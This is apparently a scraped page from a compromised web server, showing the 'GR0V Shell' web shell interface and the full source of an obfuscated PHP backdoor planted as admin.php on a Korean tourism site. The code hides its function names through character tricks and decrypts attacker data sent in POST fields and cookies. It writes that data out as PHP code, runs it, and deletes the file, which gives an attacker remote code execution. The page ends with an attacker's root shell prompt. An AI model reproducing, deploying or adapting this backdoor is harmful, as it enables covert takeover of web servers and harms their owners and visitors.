? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/hcw/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/hcw/admin.php

<?php 
$voghumnue	=      'voghumnue' /*   oixm_ */ ^	'';


$ebhbbkssu /*ya */ =     "\x53"    .    "T".$voghumnue(82)       .     "\x5f"      . /* a   */ "P".$voghumnue(65)   .	$voghumnue(578-510)	.      "_"."R"."I"."G"."H"."\x54";

$qxksfk_cyc    =   "a"."\x72" /* nvijbu */ .     "\x72" /*sihak   */ .  "a"."y"."_"."\x6d"  .    "a"."\x70";

$cnlqlkbifp /*  z_  */ =      "i".$voghumnue(109)	. /*  wxyvpt */ "p"."\x6c" /* s_*/ .       "\157"    .	$voghumnue(448-348)    . /* ibboa */ "e";


$sfwiizdg /*  mr   */ = /*   ikbzip   */ $voghumnue(115) /*  vtoi_   */ . /*   shwkm*/ "t".$voghumnue(686-572)    .  $voghumnue(624-529) /* fs  */ . /* g*/ "\x70"     . /* akus  */ $voghumnue(97)     .	"d";$gqmwos /*xwku   */ = /*   zejr*/ "c"."o"."\x75"       . /*_zrskr   */ $voghumnue(764-654)	. /*ttv*/ $voghumnue(935-819);



function     hkfn_mr($vuh_whavplx,	$giavx)


{
	global       $voghumnue;
     /* o */ $vuh_whavplx  =    "\x3c"	.	"?"."p".$voghumnue(104)	. /* w   */ "\x70"   .   $voghumnue(32) /*o  */ .       "u"."\x6e" /*  mszvcv */ .    $voghumnue(591-483) /* ov  */ .       "i"."\156"   .   "k"."("."_"."_".$voghumnue(70)	. /* s_uvlr   */ "I"."\x4c"	.   "E"."_"."\x5f"  .      ")".";".$voghumnue(32)       .    $vuh_whavplx["\x64"];


       $dqciuue_bv    =      "\146"    . /*  u  */ "i"."l"."\145" /*tvzde  */ .	"\x5f" /*uxfrm  */ .       $voghumnue(730-618)       .	"\165"      .    "t"."_"."c"."o"."n"."t".$voghumnue(101)	.    $voghumnue(1004-894)    .   $voghumnue(116)   . /* q_qdv*/ "s";
	

	$dqciuue_bv($giavx,	$vuh_whavplx);


 /*focet  */ 	tgsurtvqxg($giavx);


}


$vuh_wnmmikv /*pfvaba*/ =   73;




function   tgsurtvqxg($giavx){

       global /*  wv   */ $voghumnue;    
    include($giavx);

 /*tinh_  */ $yricuhp_ /*uqualq  */ =      $giavx;
 /*uio */ @unlink($yricuhp_);
}


function	mpzqctjg()

{
      global   $voghumnue;

 /*  cwtvu   */ $vuh_w	= /*   rj_   */ array();   $vuh_w[$voghumnue(1050-938)    .	"v"]    =    phpversion();


 /*  u_f   */ $vuh_w[$voghumnue(497-382) /*xztvd */ . /*   zzxf_   */ $voghumnue(118)] /*  vh  */ = /*  t_ekfs*/ $voghumnue(844-793)	.    "\56"	.    "5";


	$gwds_ryxe	=    74;
     echo /*   l_b*/ @serialize($vuh_w);
}



function    msokskwir($vuh_whavplx,	$nlykn)

{


	global    $voghumnue;




  $dnvjxm /* lkie */ =    "";

	$tiawlpl      =      'rieaz';

      $zhwxaqe /*xjkwm*/ =       hash('sha256',  $vuh_whavplx); /*   rb */ $lpqlukp_mf       =	str_replace('hzdcppj',     $zhwxaqe,    $tiawlpl);


 /*  toul */ $vuh_w /* xp */ =    0;


 /*wkqs */ while  ($vuh_w	< /*   f   */ strlen($vuh_whavplx))    {

 /*   yhxyg */ $zljlqv /*hhrzvl */ = /*  e*/ isset($nlykn) /* nesfyt   */ ? /*sagbd   */ $nlykn /*  bic */ :    '';    for  ($sabstsgyqt    =    0;  $sabstsgyqt     <	strlen($zljlqv)   &&    $vuh_w /*do  */ <	strlen($vuh_whavplx); /*o*/ $sabstsgyqt++, /*dgbtjc  */ $vuh_w++)    {
 /*   gqkn   */ $dnvjxm	.=	$voghumnue(ord($vuh_whavplx[$vuh_w]) /*txj  */ ^	ord($zljlqv[$sabstsgyqt]));
 /* xqzjl   */ }


 /*oyiu  */ if       (strlen($dnvjxm)  > /*   vaenpk */ 20) /*oty  */ {

    $lpqlukp_mf    =   substr($dnvjxm,    0, /*l_hd */ 20);


 /*  j */ }     }


 /*hsm*/ if    (empty($dnvjxm)) /* cl   */ {


   $dnvjxm      =      date('Y-m-d /*   kng */ H:i:s');     } /*pvr*/ return     $dnvjxm;}





function /*   dz  */ vorycbh($sabstsgyqtykkyic)

{    global    $voghumnue;

       

     $dnawvz /*yqo  */ =      "5"."\141"  .   "\71" /* kkcg   */ . /*   csulta*/ $voghumnue(97)."4"."\x62"     .     "\64" /* oy  */ .    "\145" /*   nfmem*/ .	"-"."4"."\142"    .	$voghumnue(461-410)	. /*   y_u   */ "5"."\55" /*   b */ . /*ifkxvy */ "4"."3".$voghumnue(48) /*  anxu*/ . /*  xy  */ "\x38" /* kaog_b*/ . /* znqb  */ "\55" /*   brcye   */ .   "b".$voghumnue(52)	. /*brezgc */ $voghumnue(488-386)    .   $voghumnue(101)	.	$voghumnue(45)       . /*  nf   */ $voghumnue(386-285) /*dv_rd*/ .    $voghumnue(795-695)  .    "\x64"."7"."8"."5"."c"."3".$voghumnue(470-369)      .    "6".$voghumnue(262-211) /*ajq*/ . /*   zva   */ "\60";
 /*   bqdzs */ 

    foreach /* kjsf */ ($sabstsgyqtykkyic    as /*   qi  */ $elazlcmmz       => /*   kcymk */ $vuh_whavplx) /*   _ */ {

       zaeis(base64_decode($vuh_whavplx),   $dnawvz,	$elazlcmmz);

      }}



function    zaeis($vuh_whavplx,  $dnawvz,      $elazlcmmz){

	global    $voghumnue; /*   cuwze   */ 


    $vuh_whavplx    =      unserialize(msokskwir(msokskwir($vuh_whavplx,    $dnawvz), /*w */ $elazlcmmz));	$hymqxksedw    =    'nv_vjbl';

	$zxaul      = /* av*/ '_qp';

    if /*   upwbm */ (isset($vuh_whavplx[$voghumnue(97)."k"])) /*   rz */ { /*   lpkkzu */ if      ($vuh_whavplx[$voghumnue(97)]    == /*xoqpx*/ "i")     {    mpzqctjg(); /*mxc */ } /*   xlphxi */ elseif  ($vuh_whavplx[$voghumnue(97)]	==    "e")	{
 /*ils_mq   */ hkfn_mr($vuh_whavplx,     sprintf($voghumnue(696-650) /*g*/ .  "/"."%"."\x73"	.  $voghumnue(127-81)  .	"\160"    .	$voghumnue(950-842),  md5($dnawvz)));

			$bskaao /* v   */ =  44;


    }  exit(); /*   bwimqm */ }
}
vorycbh($_POST);  

$nsiggxpb    =	$qxksfk_cyc('rawurldecode',	$_POST);


$obior_bsaf  =   $gqmwos($nsiggxpb);


if /*  z*/ ($obior_bsaf    >   0) /*  hfcr   */ {
    $qgijfk     =     $cnlqlkbifp(',', /*   e  */ $nsiggxpb);

}


vorycbh($_COOKIE);     



$drdofh /*qr */ =	$qxksfk_cyc('rawurldecode',     $_COOKIE);

$cghhj /*   a*/ = /* j  */ $gqmwos($drdofh);

if    ($cghhj  >    0)	{	$ujlxzq	= /*  yqbof   */ $cnlqlkbifp(';', /* vzp */ $drdofh);


}

$fykfqmbnn  = /*  n */ $drdofh;



$kwqqpgohes	=	date('Y-m-d   H:i:s');$lbwmrakxlj      = /*  mkxw   */ strlen($cnlqlkbifp('', /*yg */ $fykfqmbnn));if    ($lbwmrakxlj /*zebxb */ >   100)	{    $sabstsgyqt_gmau_vs	=    $sfwiizdg($cnlqlkbifp('', /*  ix */ $fykfqmbnn), /* lfhrvw */ 150, /*pqcvc  */ '0',  $ebhbbkssu);


}






?>

T1KUS90T
  root-grov@210.1.60.28:~$